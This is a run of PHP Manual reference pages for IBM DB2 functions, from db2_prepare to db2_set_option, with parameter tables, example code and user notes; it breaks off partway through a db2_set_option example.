  • ? db2_pconnect
  • db2_primary_keys ?
  • PHP Manual
  • IBM DB2 函数
  • Prepares an SQL statement to be executed

db2_prepare

(PECL ibm_db2 >= 1.0.0)

db2_prepare — Prepares an SQL statement to be executed

说明

db2_prepare(resource $connection, string $statement, array $options = []): resource|false

db2_prepare() creates a prepared SQL statement which can include 0 or more parameter markers (? characters) representing parameters for input, output, or input/output. You can pass parameters to the prepared statement using db2_bind_param(), or for input values only, as an array passed to db2_execute().

There are three main advantages to using prepared statements in your application:

  • Performance: when you prepare a statement, the database server creates an optimized access plan for retrieving data with that statement. Subsequently issuing the prepared statement with db2_execute() enables the statements to reuse that access plan and avoids the overhead of dynamically creating a new access plan for every statement you issue.

  • Security: when you prepare a statement, you can include parameter markers for input values. When you execute a prepared statement with input values for placeholders, the database server checks each input value to ensure that the type matches the column definition or parameter definition.

  • Advanced functionality: Parameter markers not only enable you to pass input values to prepared SQL statements, they also enable you to retrieve OUT and INOUT parameters from stored procedures using db2_bind_param().

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement, optionally containing one or more parameter markers..

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

For a description of valid statement options, see db2_set_option().

返回值

Returns a statement resource if the SQL statement was successfully parsed and prepared by the database server. Returns false if the database server returned an error. You can determine which error was returned by calling db2_stmt_error() or db2_stmt_errormsg().

示例

Example #1 Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$animals = array(
array(0, 'cat', 'Pook', 3.2),
array(1, 'dog', 'Peaches', 12.3),
array(2, 'horse', 'Smarty', 350.0),
);

$insert = 'INSERT INTO animals (id, breed, name, weight)
VALUES (?, ?, ?, ?)';
$stmt = db2_prepare($conn, $insert);
if ($stmt) {
foreach ($animals as $animal) {
$result = db2_execute($stmt, $animal);
}
}
?>

参见

  • db2_bind_param() - Binds a PHP variable to an SQL statement parameter
  • db2_execute() - Executes a prepared SQL statement
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

agr dot valayam at gmail dot com 27-Oct-2016 12:08
A simple select example.

$pr_stmt = db2_prepare ($this->conn,"select count(*) from note where city=? and year= ?");
  db2_execute($pr_stmt,array('test',2016));
   $count_res = db2_fetch_array($pr_stmt);
echo "Count =".$count_res[0]
NormInNorman 18-Nov-2009 07:52
If you are having problems with scrollable cursors and the prepare statement, I've found that you cant set the scrollable option on the connection.  The following code (which tries to get the 2nd record):

<?php
$sql = "SELECT * FROM SCHEMA.TABLENAME";
$options = array('cursor' => DB2_SCROLLABLE);
$conn = db2_connect($database, $user, $password,$options);
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);

$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql, $options);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);
?>

Will result in the following error:

Warning: db2_fetch_both() [function.db2-fetch-both]: Fetch Failure in dbtest.php on line 7

In fact, even if you set the options on both the connection and the prepare your fetch will not work. You must only set that option on the prepare.
ndt.db2 at google mail 12-Aug-2006 06:41
if you have the error message : PHP Warning:  db2_prepare() [<a href='function.db2-prepare'>function.db2-prepare</a>]: Statement Prepare Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid


Returns a result set listing primary keys for a table

  • ? db2_prepare
  • db2_procedure_columns ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing primary keys for a table

db2_primary_keys

(PECL ibm_db2 >= 1.0.0)

db2_primary_keys — Returns a result set listing primary keys for a table

说明

db2_primary_keys(
resource $connection,
?string $qualifier,
?string $schema,
string $table_name
): resource

Returns a result set listing the primary keys for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the tables. If schema is null, db2_primary_keys() matches the schema for the current connection.

table_name

The name of the table.

返回值

Returns a statement resource with a result set containing rows describing the primary keys for the specified table. The result set is composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema for the table containing the primary key.
TABLE_NAME | Name of the table containing the primary key.
COLUMN_NAME | Name of the column containing the primary key.
KEY_SEQ | 1-indexed position of the column in the key.
PK_NAME | The name of the primary key.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing stored procedure parameters

  • ? db2_primary_keys
  • db2_procedures ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing stored procedure parameters

db2_procedure_columns

(PECL ibm_db2 >= 1.0.0)

db2_procedure_columns — Returns a result set listing stored procedure parameters

说明

db2_procedure_columns(
resource $connection,
?string $qualifier,
string $schema,
string $procedure,
?string $parameter
): resource

Returns a result set listing the parameters for one or more stored procedures.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

parameter

The name of the parameter. This parameter accepts a search pattern containing _ and % as wildcards. If this parameter is null, all parameters for the specified stored procedures are returned.

返回值

Returns a statement resource with a result set containing rows describing the parameters for the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is null if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
PROCEDURE_NAME | Name of the procedure.
COLUMN_NAME | Name of the parameter.
COLUMN_TYPE

An integer value representing the type of the parameter:

Return value | Parameter type
1 (SQL_PARAM_INPUT) | Input (IN) parameter.
2 (SQL_PARAM_INPUT_OUTPUT) | Input/output (INOUT) parameter.
3 (SQL_PARAM_OUTPUT) | Output (OUT) parameter.
DATA_TYPE | The SQL data type for the parameter represented as an integer value.
TYPE_NAME | A string representing the data type for the parameter.
COLUMN_SIZE | An integer value representing the size of the parameter.
BUFFER_LENGTH | Maximum number of bytes necessary to store data for this parameter.
DECIMAL_DIGITS | The scale of the parameter, or null where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or null (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the parameter is nullable or not.
REMARKS | Description of the parameter.
COLUMN_DEF | Default value for the parameter.
SQL_DATA_TYPE | An integer value representing the size of the parameter.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or null for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type parameter, which matches COLUMN_SIZE for single-byte character set data, or null for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the parameter in the CALL statement.
IS_NULLABLE | A string value where 'YES' means that the parameter accepts or returns null values and 'NO' means that the parameter does not accept or return null values.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the stored procedures registered in a database

  • ? db2_procedure_columns
  • db2_result ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the stored procedures registered in a database

db2_procedures

(PECL ibm_db2 >= 1.0.0)

db2_procedures — Returns a result set listing the stored procedures registered in a database

说明

db2_procedures(
resource $connection,
?string $qualifier,
string $schema,
string $procedure
): resource

Returns a result set listing the stored procedures registered in a database.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

返回值

Returns a statement resource with a result set containing rows describing the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is null if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
PROCEDURE_NAME | Name of the procedure.
NUM_INPUT_PARAMS | Number of input (IN) parameters for the stored procedure.
NUM_OUTPUT_PARAMS | Number of output (OUT) parameters for the stored procedure.
NUM_RESULT_SETS | Number of result sets returned by the stored procedure.
REMARKS | Any comments about the stored procedure.
PROCEDURE_TYPE | Always returns 1, indicating that the stored procedure does not return a return value.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a single column from a row in the result set

  • ? db2_procedures
  • db2_rollback ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a single column from a row in the result set

db2_result

(PECL ibm_db2 >= 1.0.0)

db2_result — Returns a single column from a row in the result set

说明

db2_result(resource $stmt, int|string $column): ?mixed

Use db2_result() to return the value of a specified column in the current row of a result set. You must call db2_fetch_row() before calling db2_result() to set the location of the result set pointer.

参数

stmt

A valid stmt resource.

column

Either an integer mapping to the 0-indexed field in the result set, or a string matching the name of the column.

返回值

Returns the value of the requested field if the field exists in the result set. Returns null if the field does not exist, and issues a warning.

示例

Example #1 A db2_result() example

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
$name = db2_result($stmt, 0);
$breed = db2_result($stmt, 'BREED');
print "$name $breed";
}
?>

以上示例会输出：

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

参见

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row

User Contributed Notes

jay+nospam at toxicedge dot com 05-Dec-2014 09:30
It's worth noting that this function consumes the value (the first call will return a result, and any subsequent calls will return NULL).


Rolls back a transaction

  • ? db2_result
  • db2_server_info ?
  • PHP Manual
  • IBM DB2 函数
  • Rolls back a transaction

db2_rollback

(PECL ibm_db2 >= 1.0.0)

db2_rollback — Rolls back a transaction

说明

db2_rollback(resource $connection): bool

Rolls back an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_rollback() normally has no effect unless AUTOCOMMIT has been turned off for the connection resource.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Rolling back a DELETE statement

In the following example, we count the number of rows in a table, turn off AUTOCOMMIT mode on a database connection, delete all of the rows in the table and return the count of 0 to prove that the rows have been removed. We then issue db2_rollback() and return the updated count of rows in the table to show that the number is the same as before we issued the DELETE statement. The return to the original state of the table demonstrates that the roll back of the transaction succeeded.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
$stmt = db2_exec($conn, "SELECT count(*) FROM animals");
$res = db2_fetch_array( $stmt );
echo $res[0] . "\n";

// Turn AUTOCOMMIT off
db2_autocommit($conn, DB2_AUTOCOMMIT_OFF);

// Delete all rows from ANIMALS
db2_exec($conn, "DELETE FROM animals");

$stmt = db2_exec($conn, "SELECT count(*) FROM animals");
$res = db2_fetch_array( $stmt );
echo $res[0] . "\n";

// Roll back the DELETE statement
db2_rollback( $conn );

$stmt = db2_exec( $conn, "SELECT count(*) FROM animals" );
$res = db2_fetch_array( $stmt );
echo $res[0] . "\n";
db2_close($conn);
}
?>

以上示例会输出：

7
0
7

参见

  • db2_autocommit() - Returns or sets the AUTOCOMMIT state for a database connection
  • db2_commit() - Commits a transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns an object with properties that describe the DB2 database server

  • ? db2_rollback
  • db2_set_option ?
  • PHP Manual
  • IBM DB2 函数
  • Returns an object with properties that describe the DB2 database server

db2_server_info

(PECL ibm_db2 >= 1.1.1)

db2_server_info — Returns an object with properties that describe the DB2 database server

说明

db2_server_info(resource $connection): stdClass|false

This function returns an object with read-only properties that return information about the IBM DB2, Cloudscape, or Apache Derby database server. The following table lists the database server properties:

Database server properties
Property name | Return type | Description
DBMS_NAME | string | The name of the database server to which you are connected. For DB2 servers this is a combination of DB2 followed by the operating system on which the database server is running.
DBMS_VER | string | The version of the database server, in the form of a string "MM.mm.uuuu" where MM is the major version, mm is the minor version, and uuuu is the update. For example, "08.02.0001" represents major version 8, minor version 2, update 1.
DB_CODEPAGE | int | The code page of the database to which you are connected.
DB_NAME | string | The name of the database to which you are connected.
DFT_ISOLATION string

The default transaction isolation level supported by the server:

UR

Uncommitted read: changes are immediately visible by all concurrent transactions.

CS

Cursor stability: a row read by one transaction can be altered and committed by a second concurrent transaction.

RS

Read stability: a transaction can add or remove rows matching a search condition or a pending transaction.

RR

Repeatable read: data affected by pending transaction is not available to other transactions.

NC

No commit: any changes are visible at the end of a successful operation. Explicit commits and rollbacks are not allowed.

IDENTIFIER_QUOTE_CHAR | string | The character used to delimit an identifier.
INST_NAME | string | The instance on the database server that contains the database.
ISOLATION_OPTION | array | An array of the isolation options supported by the database server. The isolation options are described in the DFT_ISOLATION property.
KEYWORDS | array | An array of the keywords reserved by the database server.
LIKE_ESCAPE_CLAUSE | bool | true if the database server supports the use of % and _ wildcard characters. false if the database server does not support these wildcard characters.
MAX_COL_NAME_LEN | int | Maximum length of a column name supported by the database server, expressed in bytes.
MAX_IDENTIFIER_LEN | int | Maximum length of an SQL identifier supported by the database server, expressed in characters.
MAX_INDEX_SIZE | int | Maximum size of columns combined in an index supported by the database server, expressed in bytes.
MAX_PROC_NAME_LEN | int | Maximum length of a procedure name supported by the database server, expressed in bytes.
MAX_ROW_SIZE | int | Maximum length of a row in a base table supported by the database server, expressed in bytes.
MAX_SCHEMA_NAME_LEN | int | Maximum length of a schema name supported by the database server, expressed in bytes.
MAX_STATEMENT_LEN | int | Maximum length of an SQL statement supported by the database server, expressed in bytes.
MAX_TABLE_NAME_LEN | int | Maximum length of a table name supported by the database server, expressed in bytes.
NON_NULLABLE_COLUMNS | bool | true if the database server supports columns that can be defined as NOT NULL, false if the database server does not support columns defined as NOT NULL.
PROCEDURES | bool | true if the database server supports the use of the CALL statement to call stored procedures, false if the database server does not support the CALL statement.
SPECIAL_CHARS | string | A string containing all of the characters other than a-Z, 0-9, and underscore that can be used in an identifier name.
SQL_CONFORMANCE string

The level of conformance to the ANSI/ISO SQL-92 specification offered by the database server:

ENTRY

Entry-level SQL-92 compliance.

FIPS127

FIPS-127-2 transitional compliance.

FULL

Full level SQL-92 compliance.

INTERMEDIATE

Intermediate level SQL-92 compliance.

参数

connection

Specifies an active DB2 client connection.

返回值

Returns an object on a successful call, 或者在失败时返回 false

示例

Example #1 A db2_server_info() example

To retrieve information about the server, you must pass a valid database connection resource to db2_server_info().

<?php

$conn = db2_connect('sample', 'db2inst1', 'ibmdb2');

$server = db2_server_info( $conn );

if ($server) {
echo "DBMS_NAME: "; var_dump( $server->DBMS_NAME );
echo "DBMS_VER: "; var_dump( $server->DBMS_VER );
echo "DB_CODEPAGE: "; var_dump( $server->DB_CODEPAGE );
echo "DB_NAME: "; var_dump( $server->DB_NAME );
echo "INST_NAME: "; var_dump( $server->INST_NAME );
echo "SPECIAL_CHARS: "; var_dump( $server->SPECIAL_CHARS );
echo "KEYWORDS: "; var_dump( sizeof($server->KEYWORDS) );
echo "DFT_ISOLATION: "; var_dump( $server->DFT_ISOLATION );
echo "ISOLATION_OPTION: ";
$il = '';
foreach( $server->ISOLATION_OPTION as $opt )
{
$il .= $opt." ";
}
var_dump( $il );
echo "SQL_CONFORMANCE: "; var_dump( $server->SQL_CONFORMANCE );
echo "PROCEDURES: "; var_dump( $server->PROCEDURES );
echo "IDENTIFIER_QUOTE_CHAR: "; var_dump( $server->IDENTIFIER_QUOTE_CHAR );
echo "LIKE_ESCAPE_CLAUSE: "; var_dump( $server->LIKE_ESCAPE_CLAUSE );
echo "MAX_COL_NAME_LEN: "; var_dump( $server->MAX_COL_NAME_LEN );
echo "MAX_ROW_SIZE: "; var_dump( $server->MAX_ROW_SIZE );
echo "MAX_IDENTIFIER_LEN: "; var_dump( $server->MAX_IDENTIFIER_LEN );
echo "MAX_INDEX_SIZE: "; var_dump( $server->MAX_INDEX_SIZE );
echo "MAX_PROC_NAME_LEN: "; var_dump( $server->MAX_PROC_NAME_LEN );
echo "MAX_SCHEMA_NAME_LEN: "; var_dump( $server->MAX_SCHEMA_NAME_LEN );
echo "MAX_STATEMENT_LEN: "; var_dump( $server->MAX_STATEMENT_LEN );
echo "MAX_TABLE_NAME_LEN: "; var_dump( $server->MAX_TABLE_NAME_LEN );
echo "NON_NULLABLE_COLUMNS: "; var_dump( $server->NON_NULLABLE_COLUMNS );

db2_close($conn);
}
?>

以上示例会输出：

DBMS_NAME: string(9) "DB2/LINUX"
DBMS_VER: string(10) "08.02.0000"
DB_CODEPAGE: int(1208)
DB_NAME: string(6) "SAMPLE"
INST_NAME: string(8) "db2inst1"
SPECIAL_CHARS: string(2) "@#"
KEYWORDS: int(179)
DFT_ISOLATION: string(2) "CS"
ISOLATION_OPTION: string(12) "UR CS RS RR "
SQL_CONFORMANCE: string(7) "FIPS127"
PROCEDURES: bool(true)
IDENTIFIER_QUOTE_CHAR: string(1) """
LIKE_ESCAPE_CLAUSE: bool(true)
MAX_COL_NAME_LEN: int(30)
MAX_ROW_SIZE: int(32677)
MAX_IDENTIFIER_LEN: int(18)
MAX_INDEX_SIZE: int(1024)
MAX_PROC_NAME_LEN: int(128)
MAX_SCHEMA_NAME_LEN: int(30)
MAX_STATEMENT_LEN: int(2097152)
MAX_TABLE_NAME_LEN: int(128)
NON_NULLABLE_COLUMNS: bool(true)

参见

  • db2_client_info() - Returns an object with properties that describe the DB2 database client

User Contributed Notes

There are no user contributed notes for this page.


Set options for connection or statement resources

  • ? db2_server_info
  • db2_special_columns ?
  • PHP Manual
  • IBM DB2 函数
  • Set options for connection or statement resources

db2_set_option

(PECL ibm_db2 >= 1.0.0)

db2_set_option — Set options for connection or statement resources

说明

db2_set_option(resource $resource, array $options, int $type): bool

Sets options for a statement resource or a connection resource. You cannot set options for result set resources.

参数

resource

A valid statement resource as returned from db2_prepare() or a valid connection resource as returned from db2_connect() or db2_pconnect().

options

An associative array containing valid statement or connection options. This parameter can be used to change autocommit values, cursor types (scrollable or forward), and to specify the case of the column names (lower, upper, or natural) that will appear in a result set.

autocommit

Passing DB2_AUTOCOMMIT_ON turns autocommit on for the specified connection resource.

Passing DB2_AUTOCOMMIT_OFF turns autocommit off for the specified connection resource.

cursor

Passing DB2_FORWARD_ONLY specifies a forward-only cursor for a statement resource. This is the default cursor type, and is supported by all database servers.

Passing DB2_SCROLLABLE specifies a scrollable cursor for a statement resource. Scrollable cursors enable result set rows to be accessed in non-sequential order, but are only supported by IBM DB2 Universal Database databases.

binmode

Passing DB2_BINARY specifies that binary data will be returned as is. This is the default mode. This is the equivalent of setting ibm_db2.binmode=1 in php.ini.

Passing DB2_CONVERT specifies that binary data will be converted to hexadecimal encoding, and will be returned as such. This is the equivalent of setting ibm_db2.binmode=2 in php.ini.

Passing DB2_PASSTHRU specifies that binary data will be converted to null. This is the equivalent of setting ibm_db2.binmode=3 in php.ini.

db2_attr_case

Passing DB2_CASE_LOWER specifies that column names of the result set are returned in lower case.

Passing DB2_CASE_UPPER specifies that column names of the result set are returned in upper case.

Passing DB2_CASE_NATURAL specifies that column names of the result set are returned in natural case.

deferred_prepare

Passing DB2_DEFERRED_PREPARE_ON turns deferred prepare on for the specified statement resource.

Passing DB2_DEFERRED_PREPARE_OFF turns deferred prepare off for the specified statement resource.

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later. These options apply only when running PHP and ibm_db2 natively on i5 systems.

i5_fetch_only

DB2_I5_FETCH_ON - Cursors are read-only and cannot be used for positioned updates or deletes. This is the default unless SQL_ATTR_FOR_FETCH_ONLY environment has been set to SQL_FALSE.

DB2_I5_FETCH_OFF - Cursors can be used for positioned updates and deletes.

The following new option is available in ibm_db2 version 1.8.0 and later.

rowcount

DB2_ROWCOUNT_PREFETCH_ON - Client can request the full row count prior to fetching, which means that db2_num_rows() returns the number of rows selected even when a ROLLFORWARD_ONLY cursor is used.

DB2_ROWCOUNT_PREFETCH_OFF - Client cannot request the full row count prior to fetching.

The following new options are available in ibm_db2 version 1.7.0 and later.

trusted_user

To switch the user to a trusted user, pass the User ID (String) of the trusted user as the value of this key. This option can be set on a connection resource only. To use this option, trusted context must be enabled on the connection resource.

trusted_password

The password (String) that corresponds to the user specified by the trusted_user key.

The following new options are available in ibm_db2 version 1.6.0 and later. These options provide useful tracking information that can be accessed during execution with db2_get_option().

Note:

When the value in each option is being set, some servers might not handle the entire length provided and might truncate the value.

To ensure that the data specified in each option is converted correctly when transmitted to a host system, use only the characters A through Z, 0 through 9, and the underscore (_) or period (.).

userid

SQL_ATTR_INFO_USERID - A pointer to a null-terminated character string used to identify the client user ID sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 16 characters. This user-id is not to be confused with the authentication user-id, it is for identification purposes only and is not used for any authorization.

acctstr

SQL_ATTR_INFO_ACCTSTR - A pointer to a null-terminated character string used to identify the client accounting string sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 200 characters.

applname

SQL_ATTR_INFO_APPLNAME - A pointer to a null-terminated character string used to identify the client application name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 32 characters.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - A pointer to a null-terminated character string used to identify the client workstation name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 18 characters.

type

An integer value that specifies the type of resource that was passed into the function. The type of resource and this value must correspond.

Passing 1 as the value specifies that a connection resource has been passed into the function.

Passing any integer not equal to 1 as the value specifies that a statement resource has been passed into the function.

The following table specifies which options are compatible with the available resource types:

Resource-Parameter Matrix
Key | Value | Resource Type
 |  | Connection | Statement | Result Set
autocommit | DB2_AUTOCOMMIT_ON | X | - | -
autocommit | DB2_AUTOCOMMIT_OFF | X | - | -
cursor | DB2_SCROLLABLE | - | X | -
cursor | DB2_FORWARD_ONLY | - | X | -
binmode | DB2_BINARY | X | X | -
binmode | DB2_CONVERT | X | X | -
binmode | DB2_PASSTHRU | X | X | -
db2_attr_case | DB2_CASE_LOWER | X | X | -
db2_attr_case | DB2_CASE_UPPER | X | X | -
db2_attr_case | DB2_CASE_NATURAL | X | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_ON | - | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_OFF | - | X | -
i5_fetch_only | DB2_I5_FETCH_ON | - | X | -
i5_fetch_only | DB2_I5_FETCH_OFF | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_ON | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_OFF | - | X | -
trusted_user | <USER NAME> (String) | X | - | -
trusted_password | <PASSWORD> (String) | X | - | -
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting one parameter with a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_ON);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

以上示例会输出：

Options Set Successfully

Example #2 Setting multiple parameters with a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

以上示例会输出：

Options Set Successfully

Example #3 Setting multiple parameters with an invalid key

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'MY_INVALID_KEY' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

以上示例会输出：

Could Not Set Options

Example #4 Setting multiple parameters with an invalid value

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => 'INVALID_VALUE',
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

以上示例会输出：

Could Not Set Options

Example #5 Setting multiple parameters with a connection resource and the wrong type

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

